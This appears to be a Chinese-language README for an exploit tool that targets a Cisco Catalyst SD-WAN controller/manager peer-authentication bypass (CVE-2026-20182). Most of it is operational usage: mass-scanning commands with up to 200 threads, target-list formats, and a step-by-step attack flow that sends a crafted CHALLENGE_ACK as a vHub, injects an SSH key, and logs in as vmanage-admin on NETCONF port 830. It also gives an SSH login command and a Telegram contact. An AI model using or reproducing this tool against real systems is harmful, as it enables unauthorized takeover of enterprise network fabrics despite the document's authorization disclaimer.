Cisco Catalyst SD-WAN 对等认证绕过
针对 Cisco Catalyst SD-WAN 控制器/管理器对等认证绕过 (CVE-2026-20182) 的授权测试评估工具。
| CVE | CVE-2026-20182 |
| 严重性 | 严重 (CVSS 10.0) |
| CVSS 3.1 | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| 产品 | Cisco Catalyst SD-WAN 控制器 (原 vSmart) · Cisco Catalyst SD-WAN 管理器 (原 vManage) |
| 问题 | 对等认证机制未正确实施 |
| 脚本 | CVE-2026-20182.py |
2026年5月安全公告: 控制连接握手/对等认证中的缺陷允许未经认证的远程攻击者绕过认证,获取受影响系统上的高权限内部访问。
攻击者向受影响系统发送精心构造的请求。成功后,攻击者可以以内部高权限非 root 账户进行认证,并访问 NETCONF,从而操控 SD-WAN 结构配置。
建议: 根据官方供应商指南应用 Cisco 安全修复程序。限制管理平面暴露,监控控制平面连接,并审计 SD-WAN 控制器是否存在未授权配置更改。
Telegram: @KNxploited
CVE-2026-20182.py针对 CVE-2026-20182 的 Python 3 利用框架,适用于 Cisco SD-WAN vdaemon (UDP/DTLS 12346)。
结构回退: 遇到 TEAR_DOWN 或参数不匹配时,会重试备用 domain/site 预设 (1,100)、(1,1)、(0,0),除非使用 --no-fallback。
重要说明
check 模式 → 最多达到层级 03(绕过探测)。不是完全利用证据。full 模式 → 目标为层级 01 (ssh_verified)。https://host → 仅 TCP Web 提示(80/443)。不是 443 上的 UDP DTLS。pip install -r requirements.txt
Windows
bin\ 添加到 PATH,或设置:OPENSSL_HOME=C:\Program Files\OpenSSL-Win64
Linux
# Debian/Ubuntu
sudo apt install libssl3 openssl
export LD_LIBRARY_PATH=/usr/lib/x86_64-linux-gnu:$LD_LIBRARY_PATH
如果无法加载 OpenSSL,工具启动时即退出。
python CVE-2026-20182.py
0 = 启动扫描check(安全绕过探测)python CVE-2026-20182.py -y
CHECK — 仅绕过探测
python CVE-2026-20182.py -y --mode check
FULL — 注入密钥并验证 SSH(仅限授权目标)
python CVE-2026-20182.py -y --mode full
-f / --file — 目标列表(默认:targets.txt)
python CVE-2026-20182.py -y -f my_controllers.txt --mode check
-t / --threads — 工作线程数(1–200,默认 12)
python CVE-2026-20182.py -y -f targets.txt -t 30 --mode check
--domain — 默认 DOMAIN_ID,当列表中未提供时使用(默认:1)
python CVE-2026-20182.py -y -f targets.txt --domain 1 --site 100 --mode check
--site — 默认 SITE_ID,当列表中未提供时使用(默认:100)
python CVE-2026-20182.py -y -f targets.txt --domain 1 --site 50 --mode full
--mode — check | full
python CVE-2026-20182.py -y --mode full -f targets.txt
-y / --yes — 跳过交互式菜单;仅使用 CLI 值
python CVE-2026-20182.py -y -f targets.txt --mode check -t 20
--no-ssh-verify — 跳过注入后的 SSH 测试(full 模式下不推荐)
python CVE-2026-20182.py -y --mode full --no-ssh-verify -f targets.txt
--verify-ssh22 — 在 830 之后也尝试 TCP 22
python CVE-2026-20182.py -y --mode full --verify-ssh22 -f targets.txt
--no-try-list-udp — 仅使用 UDP 12346;忽略列表中的 :port
python CVE-2026-20182.py -y --no-try-list-udp -f targets.txt --mode check
--extra-udp-ports — 实验室用:对所有主机额外测试的 UDP 端口
python CVE-2026-20182.py -y --extra-udp-ports 8080,8443 -f targets.txt --mode check
--no-fallback — 遇到 TEAR_DOWN 时禁用 domain/site 重试
python CVE-2026-20182.py -y --no-fallback -f targets.txt --mode full
-v / --verbose — 记录每个协议 TX/RX 消息
python CVE-2026-20182.py -y -v -f targets.txt --mode check
-y 时显示)targets.txt 格式每行一个目标。以 # 开头的行被忽略。
示例文件
# Lab controllers — authorized only
10.10.10.1
10.10.10.2:12346:1:100
https://sdwan-controller.example.com
10.10.10.4:12346:1:1
不支持: IPv6(仅 IPv4 / 主机名)。
SSH 命令示例(层级 01)
ssh -i "sdwan_keys/sdwan_10_10_10_1_12346_d1_s100.pem" [email protected] -p 830 -N
python CVE-2026-20182.py -y -f targets.txt --mode check -t 24
查看 cisco_sdwan_03_bypass_only.jsonl 和实时统计中的 Bypass only。
python CVE-2026-20182.py -y -f confirmed_hosts.txt --mode full -t 8
查看 cisco_sdwan_01_confirmed_ssh.jsonl — 唯一包含 ssh_verified: true 的文件。
python CVE-2026-20182.py -y -f single.txt --mode full -t 1 -v --no-fallback
check — 本身不写入密钥或不证明 SSH。full 模式下的 ssh_verified=true。CHALLENGE_ACK 后收到 TEAR_DOWN;启用结构回退或修复列表中的 domain/site。sdwan_keys/ 或扫描结果提交到公共仓库。本软件仅用于授权的安全研究、防御性评估和教育目的。
您必须获得明确的书面许可才能测试您不拥有或不操作的任何系统。未经授权访问计算机系统是违法的。作者不对因使用本工具而产生的误用、损害或法律后果负责。
仅在对系统和网络拥有明确授权进行安全测试的情况下使用。
作者:Nxploited ( Khaled Alenazi )
| 项目 | 详情 |
|---|
| 攻击向量 | 网络 |
| 所需权限 | 无 |
| 用户交互 | 无 |
| 影响范围 | 已改变 |
| 影响 | 机密性、完整性、可用性 — 高 |
| 步骤 | 阶段 | 描述 |
|---|
| 1 | 加载目标 | 解析 targets.txt,按 (host, domain_id, site_id) 合并重复项 |
| 2 | OpenSSL 预检 | 加载 OpenSSL 3.x/4.x 共享库以支持自定义 DTLS |
| 3 | DTLS 连接 | 连接到目标 UDP 端口(始终先尝试 12346,然后尝试可选的列表端口) |
| 4 | CHALLENGE | 接收服务器 CHALLENGE (0x08) |
| 5 | CHALLENGE_ACK | 作为 vHub (类型 2) 发送精心构造的 CHALLENGE_ACK — 认证绕过 |
| 6 | Hello | 完成 Hello 交换 — 确认绕过路径 |
| 7a | CHECK 模式 | 在此停止 — 仅记录 bypass / Hello OK (无密钥,无 SSH) |
| 7b | FULL 模式 | 通过 VMANAGE_TO_PEER 注入 SSH 公钥 |
| 8 | Inject ACK | 预期收到 REGISTER_TO_VMANAGE (0x0D) 作为协议确认 |
| 9 | SSH 验证 | 在 TCP 830 (NETCONF) 上以 vmanage-admin 身份测试登录,可选 22 |
| 10 | 输出 | 将结果分类到层级文件 + 可读命令列表 |
| 层级 | 文件 | 含义 |
|---|
| 01 — 已确认 SSH | cisco_sdwan_01_confirmed_ssh.jsonl | ssh_verified=true — 唯一视为完全入侵证据的层级 |
| 02 — 仅 Inject ACK | cisco_sdwan_02_inject_ack_only.jsonl | 协议接受密钥注入;SSH 登录失败 |
| 03 — 仅绕过 | cisco_sdwan_03_bypass_only.jsonl | Hello/绕过成功;未确认注入 |
| 要求 | 说明 |
|---|
| Python | 3.9+ |
| pip | cryptography, rich |
| OpenSSL | 3.x 或 4.x 共享库 (libssl + libcrypto) — 必须 |
| 模式 | 标志 | SSH 注入 | SSH 验证 | 使用场景 |
|---|
| CHECK | --mode check(默认) | 否 | 否 | 大规模筛查、绕过检测 |
| FULL | --mode full | 是 | 是(除非使用 --no-ssh-verify) | 入侵证据 |
| # | 选项 |
|---|
| 1 | 目标文件 |
| 2 | 工作线程数 |
| 3 | 默认 DOMAIN_ID |
| 4 | 默认 SITE_ID |
| 5 | 模式:check / full |
| 6 | 遇到 TEAR_DOWN 时结构自动重试 |
| 7 | 详细协议日志 |
| 8 | 注入后 SSH 验证 |
| 9 | 也验证 SSH :22 |
| 10 | 尝试列表中明确的 UDP 端口 |
| 11 | 额外 UDP 端口(实验室) |
| 12 | 显示列表格式帮助 |
| 0 | ▶ 启动扫描 |
| 格式 | 示例 | 行为 |
|---|
| IP / 主机名 | 10.0.0.1 | UDP 12346 + 默认 domain/site |
| IP + UDP 端口 | 10.0.0.2:12346 | 同时尝试列表中的 UDP 端口 |
| IP + 端口 + domain + site | 10.0.0.3:12346:1:100 | 完整结构元组 |
| HTTPS URL | https://10.0.0.4 | 主机 + 仅 TCP 443 提示(非 UDP/443) |
| HTTP URL | http://10.0.0.5 | 仅 TCP 80 提示 |
| UDP URL | udp://10.0.0.6:12346 | 明确 UDP |
| 制表符/逗号分隔 | 10.0.0.7 12346 1 100 | 与四字段格式相同 |
| 键=值 | 10.0.0.8;port=12346;domain=1;site=100 | 分号 KV 语法 |
| 文件 | 内容 |
|---|
cisco_sdwan_results.jsonl | 每次尝试的原始 JSON 结果 |
cisco_sdwan_success.txt | 已确认 SSH 行(制表符分隔) |
cisco_sdwan_01_confirmed_ssh.jsonl | 层级 01 — 已验证 SSH |
cisco_sdwan_02_inject_ack_only.jsonl | 层级 02 — inject ACK,SSH 失败 |
cisco_sdwan_03_bypass_only.jsonl | 层级 03 — 仅绕过 / Hello |
cisco_sdwan_commands.txt | 可读的 SSH 命令 |
cisco_sdwan_findings.json | 会话摘要及计数 |
sdwan_keys/ | 生成的私钥(full 模式) |
| 计数器 | 含义 |
|---|
| 进度 | 已完成目标数 / 总数 |
| SSH 已验证 | 层级 01 计数 |
| Inject ACK | 层级 02 计数 |
| 仅绕过 | 层级 03 计数 |
| 失败 | 错误 / 无绕过 |